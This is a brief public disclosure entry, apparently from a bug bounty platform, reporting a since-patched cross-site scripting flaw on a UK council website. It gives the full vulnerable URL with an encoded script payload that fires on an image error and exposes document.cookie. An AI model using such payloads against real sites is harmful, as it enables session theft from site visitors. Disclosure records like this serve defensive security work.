rugby.gov.uk XSS vulnerability

Vulnerable URL: https://www.rugby.gov.uk/site/customscripts/wcsc.php?View=Get=%22%3E%3Ch1%20%22%3E%3Cimg%20src%20x%20onerror=promptdocument.cookie%3EOPENBUGBOUNTY%3C/h1%3E%3E=Go Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclose...